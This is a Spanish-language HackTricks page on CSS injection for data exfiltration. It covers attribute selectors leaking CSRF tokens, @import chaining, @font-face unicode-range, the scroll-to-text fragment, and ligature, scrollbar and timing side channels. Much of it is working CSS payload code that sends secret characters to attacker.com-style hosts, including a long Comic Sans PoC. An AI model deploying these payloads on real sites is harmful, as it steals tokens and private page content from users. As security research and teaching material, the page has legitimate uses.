.. | ||
css-injection-code.md | ||
README.md |
Inyección de CSS
Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Red Team de AWS de HackTricks)!
Otras formas de apoyar a HackTricks:
- Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén la merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.
Grupo de Seguridad Try Hard
{% embed url="https://discord.gg/tryhardsecurity" %}
Inyección de CSS
Selector de Atributos
Los selectores CSS están diseñados para coincidir con los valores de los atributos name
y value
de un elemento input
. Si el atributo de valor del elemento de entrada comienza con un carácter específico, se carga un recurso externo predefinido:
input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}
Sin embargo, este enfoque enfrenta una limitación al tratar con elementos de entrada ocultos (type="hidden"
) porque los elementos ocultos no cargan fondos.
Bypass para Elementos Ocultos
Para evitar esta limitación, puedes apuntar a un elemento hermano posterior usando el combinador de hermanos generales ~
. La regla CSS entonces se aplica a todos los hermanos que siguen al elemento de entrada oculto, haciendo que la imagen de fondo se cargue:
input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
Un ejemplo práctico de cómo explotar esta técnica se detalla en el fragmento de código proporcionado. Puedes verlo aquí.
Requisitos previos para la Inyección de CSS
Para que la técnica de Inyección de CSS sea efectiva, se deben cumplir ciertas condiciones:
- Longitud de la carga útil: El vector de inyección de CSS debe admitir cargas útiles lo suficientemente largas para acomodar los selectores elaborados.
- Reevaluación de CSS: Debes tener la capacidad de enmarcar la página, lo cual es necesario para desencadenar la reevaluación del CSS con las cargas útiles recién generadas.
- Recursos externos: La técnica asume la capacidad de utilizar imágenes alojadas externamente. Esto podría estar restringido por la Política de Seguridad de Contenido (CSP) del sitio.
Selector de Atributo Ciego
Como se explica en esta publicación, es posible combinar los selectores :has
y :not
para identificar contenido incluso de elementos ciegos. Esto es muy útil cuando no tienes idea de lo que hay dentro de la página web que carga la inyección de CSS.
También es posible utilizar esos selectores para extraer información de varios bloques del mismo tipo como en:
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>
Combinando esto con la siguiente técnica @import, es posible exfiltrar mucha información utilizando inyección de CSS desde páginas ciegas con blind-css-exfiltration.
@import
La técnica anterior tiene algunas limitaciones, verifica los requisitos previos. Necesitas ser capaz de enviar múltiples enlaces a la víctima, o necesitas ser capaz de incrustar la página vulnerable a la inyección de CSS en un iframe.
Sin embargo, hay otra técnica ingeniosa que utiliza CSS @import
para mejorar la calidad de la técnica.
Esto fue mostrado por primera vez por Pepe Vila y funciona de la siguiente manera:
En lugar de cargar la misma página una y otra vez con decenas de cargas diferentes cada vez (como en la técnica anterior), vamos a cargar la página solo una vez y solo con una importación al servidor del atacante (este es el payload a enviar a la víctima):
@import url('//attacker.com:5001/start?');
- La importación va a recibir un script CSS de los atacantes y el navegador lo cargará.
- La primera parte del script CSS que enviará el atacante es otro
@import
al servidor de los atacantes nuevamente. - El servidor de los atacantes no responderá esta solicitud aún, ya que queremos filtrar algunos caracteres y luego responder a esta importación con el payload para filtrar los siguientes.
- La segunda y más grande parte del payload será un payload de filtrado de selector de atributos.
- Esto enviará al servidor de los atacantes el primer carácter del secreto y el último.
- Una vez que el servidor de los atacantes haya recibido el primer y último carácter del secreto, responderá a la importación solicitada en el paso 2.
- La respuesta será exactamente la misma que los pasos 2, 3 y 4, pero esta vez intentará encontrar el segundo carácter del secreto y luego el penúltimo.
El atacante seguirá ese bucle hasta que logre filtrar completamente el secreto.
Puedes encontrar el código de Pepe Vila para explotar esto aquí o puedes encontrar casi el mismo código pero comentado aquí.
{% hint style="info" %} El script intentará descubrir 2 caracteres cada vez (desde el principio y desde el final) porque el selector de atributos permite hacer cosas como:
/* value^= to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
/* value$= to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
Esto permite que el script filtre la clave secreta más rápido. {% endhint %}
{% hint style="warning" %}
A veces el script no detecta correctamente que el prefijo + sufijo descubierto ya es la bandera completa y continuará hacia adelante (en el prefijo) y hacia atrás (en el sufijo) y en algún momento se quedará colgado.
No te preocupes, solo verifica la salida porque puedes ver la bandera allí.
{% endhint %}
Otros selectores
Otras formas de acceder a partes del DOM con selectores CSS:
.clase-a-buscar:nth-child(2)
: Esto buscará el segundo elemento con la clase "clase-a-buscar" en el DOM.- Selector
:empty
: Utilizado por ejemplo en este informe:
[role^="img"][aria-label="1"]:empty { background-image: url("TU_URL_DEL_SERVIDOR?1"); }
XS-Search basado en errores
Referencia: Ataque basado en CSS: Abuso de unicode-range de @font-face, PoC de XS-Search basado en errores por @terjanq
La intención general es utilizar una fuente personalizada desde un punto final controlado y asegurarse de que el texto (en este caso, 'A') se muestre con esta fuente solo si el recurso especificado (favicon.ico
) no se puede cargar.
<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range:U+0041;
}
#poc0{
font-family: 'poc';
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
-
Uso de Fuente Personalizada:
- Una fuente personalizada se define utilizando la regla
@font-face
dentro de una etiqueta<style>
en la sección<head>
. - La fuente se llama
poc
y se obtiene de un punto final externo (http://attacker.com/?leak
). - La propiedad
unicode-range
se establece enU+0041
, apuntando al carácter Unicode específico 'A'.
- Una fuente personalizada se define utilizando la regla
-
Elemento Objeto con Texto de Respaldo:
- Se crea un elemento
<object>
conid="poc0"
en la sección<body>
. Este elemento intenta cargar un recurso desdehttp://192.168.0.1/favicon.ico
. - El
font-family
para este elemento se establece en'poc'
, como se define en la sección<style>
. - Si el recurso (
favicon.ico
) no se carga correctamente, se muestra el contenido de respaldo (la letra 'A') dentro de la etiqueta<object>
. - El contenido de respaldo ('A') se renderizará utilizando la fuente personalizada
poc
si el recurso externo no se puede cargar.
- Se crea un elemento
Estilizando Fragmento de Desplazamiento a Texto
El pseudo-clase :target
se emplea para seleccionar un elemento dirigido por un fragmento de URL, como se especifica en la especificación de Selectores CSS Nivel 4. Es crucial entender que ::target-text
no coincide con ningún elemento a menos que el texto sea explícitamente apuntado por el fragmento.
Surge una preocupación de seguridad cuando los atacantes explotan la función de fragmento de Desplazamiento a texto, lo que les permite confirmar la presencia de un texto específico en una página web al cargar un recurso desde su servidor a través de una inyección HTML. El método implica inyectar una regla CSS como esta:
:target::before { content : url(target.png) }
En tales escenarios, si el texto "Administrador" está presente en la página, se solicita el recurso target.png
desde el servidor, lo que indica la presencia del texto. Una instancia de este ataque puede ser ejecutada a través de una URL especialmente diseñada que incrusta el CSS inyectado junto con un fragmento de desplazamiento de texto:
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
Aquí, el ataque manipula la inyección de HTML para transmitir el código CSS, apuntando al texto específico "Administrador" a través del fragmento Scroll-to-text (#:~:text=Administrador
). Si se encuentra el texto, se carga el recurso indicado, señalando inadvertidamente su presencia al atacante.
Para la mitigación, se deben tener en cuenta los siguientes puntos:
- Coincidencia STTF Restringida: El Fragmento Scroll-to-text (STTF) está diseñado para coincidir solo con palabras o frases, limitando así su capacidad para filtrar secretos o tokens arbitrarios.
- Restricción a Contextos de Navegación de Nivel Superior: STTF opera únicamente en contextos de navegación de nivel superior y no funciona dentro de iframes, lo que hace que cualquier intento de explotación sea más notable para el usuario.
- Necesidad de Activación del Usuario: STTF requiere un gesto de activación del usuario para operar, lo que significa que las explotaciones son factibles solo a través de navegaciones iniciadas por el usuario. Este requisito mitiga considerablemente el riesgo de que los ataques se automatizen sin interacción del usuario. Sin embargo, el autor del blog señala condiciones y bypasses específicos (por ejemplo, ingeniería social, interacción con extensiones de navegador prevalentes) que podrían facilitar la automatización del ataque.
La conciencia de estos mecanismos y vulnerabilidades potenciales es clave para mantener la seguridad web y protegerse contra tácticas explotadoras similares.
Para obtener más información, consulta el informe original: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/
Puedes verificar un exploit que utiliza esta técnica para un CTF aquí.
@font-face / unicode-range
Puedes especificar fuentes externas para valores unicode específicos que solo se recopilarán si esos valores unicode están presentes en la página. Por ejemplo:
<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>
<p id="sensitive-information">AB</p>htm
Cuando accedes a esta página, Chrome y Firefox recuperan "?A" y "?B" porque el nodo de texto de información sensible contiene los caracteres "A" y "B". Pero Chrome y Firefox no recuperan "?C" porque no contiene "C". Esto significa que hemos podido leer "A" y "B".
Exfiltración de nodo de texto (I): ligaduras
Referencia: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację
La técnica descrita implica extraer texto de un nodo explotando las ligaduras de fuentes y monitoreando cambios en el ancho. El proceso implica varios pasos:
- Creación de fuentes personalizadas:
- Las fuentes SVG se crean con glifos que tienen un atributo
horiz-adv-x
, que establece un ancho grande para un glifo que representa una secuencia de dos caracteres. - Ejemplo de glifo SVG:
<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>
, donde "XY" denota una secuencia de dos caracteres. - Estas fuentes luego se convierten al formato woff utilizando fontforge.
- Detección de cambios de ancho:
- Se utiliza CSS para asegurar que el texto no se envuelva (
white-space: nowrap
) y para personalizar el estilo de la barra de desplazamiento. - La aparición de una barra de desplazamiento horizontal, estilizada de manera distintiva, actúa como un indicador (oráculo) de que una ligadura específica, y por lo tanto una secuencia de caracteres específica, está presente en el texto.
- El CSS involucrado:
body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
- Proceso de explotación:
- Paso 1: Se crean fuentes para pares de caracteres con un ancho sustancial.
- Paso 2: Se emplea un truco basado en la barra de desplazamiento para detectar cuándo se renderiza el glifo de ancho grande (ligadura para un par de caracteres), indicando la presencia de la secuencia de caracteres.
- Paso 3: Al detectar una ligadura, se generan nuevos glifos que representan secuencias de tres caracteres, incorporando el par detectado y agregando un carácter anterior o posterior.
- Paso 4: Se lleva a cabo la detección de la ligadura de tres caracteres.
- Paso 5: El proceso se repite, revelando progresivamente todo el texto.
- Optimización:
- El método actual de inicialización utilizando
<meta refresh=...
no es óptimo. - Un enfoque más eficiente podría implicar el truco
@import
de CSS, mejorando el rendimiento del exploit.
Exfiltración de nodo de texto (II): filtrando el conjunto de caracteres con una fuente predeterminada (sin necesidad de activos externos)
Referencia: PoC usando Comic Sans por @Cgvwzq & @Terjanq
Este truco fue publicado en este hilo de Slackers. El conjunto de caracteres utilizado en un nodo de texto puede filtrarse utilizando las fuentes predeterminadas instaladas en el navegador: no se necesitan fuentes externas ni personalizadas.
El concepto gira en torno a utilizar una animación para expandir incrementalmente el ancho de un div
, permitiendo que un carácter a la vez haga la transición de la parte 'sufijo' del texto a la parte 'prefijo'. Este proceso divide efectivamente el texto en dos secciones:
- Prefijo: La línea inicial.
- Sufijo: La(s) línea(s) subsiguiente(s).
Las etapas de transición de los caracteres se verían de la siguiente manera:
C
ADB
CA
DB
CAD
B
CADB
Durante esta transición, se emplea el truco de rango unicode para identificar cada nuevo carácter a medida que se une al prefijo. Esto se logra cambiando la fuente a Comic Sans, que es notablemente más alta que la fuente predeterminada, lo que desencadena indirectamente una barra de desplazamiento vertical. La aparición de esta barra de desplazamiento revela indirectamente la presencia de un nuevo carácter en el prefijo.
Aunque este método permite la detección de caracteres únicos a medida que aparecen, no especifica qué carácter se repite, solo que se ha producido una repetición.
{% hint style="info" %}
Básicamente, se utiliza el rango unicode para detectar un carácter, pero como no queremos cargar una fuente externa, necesitamos encontrar otra forma.
Cuando se encuentra el carácter, se le asigna la fuente Comic Sans preinstalada, lo que hace que el carácter sea más grande y activa una barra de desplazamiento que filtrará el carácter encontrado.
{% endhint %}
Verifica el código extraído del PoC:
/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
```css
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}
div::-webkit-scrollbar {
background: blue;
}
/* canal lateral */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
Exfiltración de nodos de texto (III): filtrar el conjunto de caracteres con una fuente predeterminada al ocultar elementos (sin necesidad de activos externos)
Referencia: Esto se menciona como una solución no exitosa en este informe
Este caso es muy similar al anterior, sin embargo, en este caso el objetivo de hacer que caracteres específicos sean más grandes que otros es ocultar algo, como un botón para que no sea presionado por el bot o una imagen que no se cargará. Así que podríamos medir la acción (o la falta de acción) y saber si un carácter específico está presente dentro del texto.
Exfiltración de nodos de texto (III): filtrar el conjunto de caracteres mediante el tiempo de caché (sin necesidad de activos externos)
Referencia: Esto se menciona como una solución no exitosa en este informe
En este caso, podríamos intentar filtrar si un carácter está en el texto cargando una fuente falsa desde el mismo origen:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
Si hay una coincidencia, la fuente se cargará desde /static/bootstrap.min.css?q=1
. Aunque no se cargará con éxito, el navegador debería almacenarla en caché, e incluso si no hay caché, hay un mecanismo de 304 no modificado, por lo que la respuesta debería ser más rápida que otras cosas.
Sin embargo, si la diferencia de tiempo entre la respuesta en caché y la que no está en caché no es lo suficientemente grande, esto no será útil. Por ejemplo, el autor mencionó: Sin embargo, después de hacer pruebas, descubrí que el primer problema es que la velocidad no es muy diferente, y el segundo problema es que el bot utiliza la bandera disk-cache-size=1
, lo cual es realmente considerado.
Exfiltración de nodo de texto (III): filtrar el conjunto de caracteres cronometrando la carga de cientos de "fuentes" locales (sin necesidad de activos externos)
Referencia: Esto se menciona como una solución fallida en este informe
En este caso, puedes indicar CSS para cargar cientos de fuentes falsas desde el mismo origen cuando se produce una coincidencia. De esta manera puedes medir el tiempo que lleva y averiguar si un carácter aparece o no con algo como:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
Y el código del bot se ve así:
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
Entonces, si la fuente no coincide, se espera que el tiempo de respuesta al visitar el bot sea de aproximadamente 30 segundos. Sin embargo, si hay una coincidencia de fuentes, se enviarán múltiples solicitudes para recuperar la fuente, lo que provocará que la red tenga una actividad continua. Como resultado, tomará más tiempo satisfacer la condición de parada y recibir la respuesta. Por lo tanto, el tiempo de respuesta se puede utilizar como un indicador para determinar si hay una coincidencia de fuentes.
Referencias
- https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
- https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b
- https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d
- https://x-c3ll.github.io/posts/CSS-Injection-Primitives/
Grupo de Seguridad Try Hard
{% embed url="https://discord.gg/tryhardsecurity" %}
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén el oficial PEASS & HackTricks swag
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.